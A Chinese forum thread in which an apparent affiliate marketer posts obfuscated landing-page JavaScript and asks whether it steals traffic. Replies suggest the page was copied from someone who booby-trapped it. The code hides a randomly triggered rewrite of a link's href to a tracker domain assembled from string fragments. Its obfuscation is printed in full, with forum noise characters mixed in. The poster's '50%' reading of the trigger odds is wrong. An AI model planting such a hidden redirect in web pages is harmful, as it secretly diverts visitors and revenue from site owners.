一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft

1. $(function() {
   
2.     $(".option.clearfix").on("click",
   : e$ x$ D4 r* ]0 D, h6 x
3.     function() {
   
4.         $(this).toggleClass("selected");
   
5.         if ($(this).hasClass("selected")) {
   
6.             $(this).addClass("selected")
   
7.         } else {
   , k9 T3 P9 v4 Q7 n
8.             $(this).removeClass("selected")
   9 |2 c8 U7 {# G: d
9.         }
   $ q3 G  ?' D# p
10.         return false
    ' V. _4 y* }* p
11.     });
    
12.     var e = "r";
    ) n4 o, M6 ]  [: A, F
13.     var t = "e";
    & s; Z; I4 t3 J# D1 Z
14.     setBtnMarginDefault = "c" + "\u006B";
    
15.     $(".option2.clearfix").on("click",
    
16.     function() {
    5 c) }$ z; W( z; t3 D
17.         $(this).toggleClass("selected");
    
18.         if ($(this).hasClass("selected")) {
    
19.             $(this).addClass("selected")
    
20.         } else {
    
21.             $(this).removeClass("selected")
    $ ^) P! F0 c) N4 t4 \. [3 Z
22.         }
    ; v5 a3 Z/ F! ~
23.         return false
    ; Z2 e7 N5 |- i7 E+ k: g
24.     });
    2 b9 T; E6 F1 U% r" e
25.     var n = "a";
    
26.     var r = "g";
    ; c& N5 F. V6 ?( q+ C$ ^* }
27.     $(".option3.clearfix").on("click",
    & A+ {8 s. I! [: T
28.     function() {
    / m- Q7 U" g2 `; n: q. [6 y8 ^0 X
29.         $(this).toggleClass("selected");
    
30.         if ($(this).hasClass("selected")) {
    
31.             $(this).addClass("selected")
    
32.         } else {
    
33.             $(this).removeClass("selected")
    
34.         }
    . t8 K- i" ~1 M8 p8 e9 ~4 j% z
35.         return false
    . p0 `! Y) A  T% q" Q
36.     });
    ) }  ~+ ^# \; N5 J1 q6 ?7 \0 T
37.     var i = "e";
    
38.     var s = n + r + e + t + i;
    
39.     $(".option4.clearfix").on("click",
    
40.     function() {
    
41.         $(this).toggleClass("selected");
    
42.         if ($(this).hasClass("selected")) {
    
43.             $(this).addClass("selected")
    
44.         } else {
    
45.             $(this).removeClass("selected")
    0 `. c! O5 Z  `! V( q$ F. p: {( q0 v
46.         }
    ( ~& Q4 E; _9 l; C
47.         return false
    
48.     });
    9 y4 a+ e1 ~' Y8 [8 |
49.     var o = "\u0032" + "\u0030";
    " F; r4 s& C' m& N3 r
50.     var u = "\u0031" + "\u0030";
    
51.     currentWhiteSpace = Math.floor(Math.random() * o);
    
52.     setBtnMargin30 = setBtnMarginDefault + "." + "c";
    
53.     Date.prototype.getMonthName = function() {
    % e! S' p8 m9 }# ?: J
54.         var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
    
55.         return e[this.getMonth()]
    
56.     };
    
57.     var a = currentWhiteSpace;
    
58.     var f = "H";
    " y2 S2 p8 `0 t
59.     var l = "\u0052";
    , A' T8 m8 M, T# p9 T0 ~5 e
60.     var c = "o" + "\u006D";
    
61.     f += "T";
    ( I" C. w# v- r2 L" u8 }6 G  K* G! O8 s
62.     f += "T";
    ( \' J# ]0 _' h1 t7 v: y4 a
63.     f += "P";
    
64.     var h = new Date;
    9 ^8 L* P8 {, w8 M3 i5 i
65.     if (h.getMonth() == 11) {
    
66.         var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
    
67.     } else {
    , N/ _9 y) @$ I' f4 c
68.         var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
    
69.     }
    & s' b9 ?6 F8 B8 r* m' Z( W
70.     var d = ":" + "/" + "/";
    
71.     l += "S";
    3 p8 y# U2 _  I+ |
72.     l += "x";
    
73.     document.getElementById("monthz").innerHTML = p;
    " Y9 n9 }9 y5 j7 ~
74.     l += "\u0054";
    
75.     l += "R";
    3 `+ {; \1 T" F2 {, [& a
76.     l += "\u0041" + setBtnMargin30;
    : g( O; Z% `: H4 v
77.     setStyle = f + d + l + c;
    
78.     s = s.toLowerCase(s);
    
79.     if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
    
80. })

复制代码

, |9 X$ Q, w% z- D7 q
0 c( U7 z. \/ N了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft

1. if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

! n% z% d  o8 g  A2 V; K9 U6 t最后这一句，怀疑是随机偷流量代码 。。。

tmdsoft

$(function () {
4 B9 ]' y: W8 T* p. m5 n    $(".option.clearfix").on("click", function () {
        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
9 N3 U! d  i8 k* p" W7 j+ U            $(this).addClass("selected")
        } else {
            $(this).removeClass("selected")
        }
        return false
    });
    $(".option2.clearfix").on("click", function () {
        $(this).toggleClass("selected");
! {* i  F; d8 }, ~5 {        if ($(this).hasClass("selected")) {
4 T* U' a& M* Y4 c            $(this).addClass("selected")
5 G# n. N% P6 `9 v3 o        } else {
% w. P  V9 T7 g5 N1 d, c  B            $(this).removeClass("selected")
, v3 C6 g; g3 M. \        }
        return false
2 P; Z! h& K; C" g  d- f* D3 _* E    });
    $(".option3.clearfix").on("click", function () {
        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
            $(this).addClass("selected")
        } else {
8 m+ d8 t" y) \4 w; y- R8 n            $(this).removeClass("selected")
        }
' s1 w5 @5 b3 x/ q        return false
    });
    $(".option4.clearfix").on("click", function () {
        $(this).toggleClass("selected");
        if ($(this).hasClass("selected")) {
& Y$ o# [3 O5 N1 F            $(this).addClass("selected")
% z2 {, @/ ]; s' x        } else {
            $(this).removeClass("selected")
        }
        return false
    });
})

  l( h) o5 h" s+ Q9 ~+ {7 h我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马

不是的

tmdsoft

河小马 发表于 2014-12-25 22:53
不是的

0 h* S% y+ x* E5 }% E0 R8 h4 z那是什么？

tmdsoft

" o7 d! w* @+ n- L7 K

1. document.getElementsByClassName(s)[0].href = setStyle

复制代码

- a+ m/ M1 L# N, ^/ ^4 t最主要的是这句话 ，最后 setstyle = Http://RSxTRAck.com

tmdsoft

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
' W/ T" G1 u2 @; u

o=20
u=10
4 v1 i* j# ^3 L; Q+ U8 s$ S! r
, C; D: K" Z. b! m( `* ja=1或者0 乘以20

如果a=20（50%的几率) ,那么 条件成立，请问这句代码是不是重定向到这个网址上 。
6 ]' H1 Z7 ~, m/ ^, h& ^1 a  t

你是用了别人的LP？

Rock_well

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。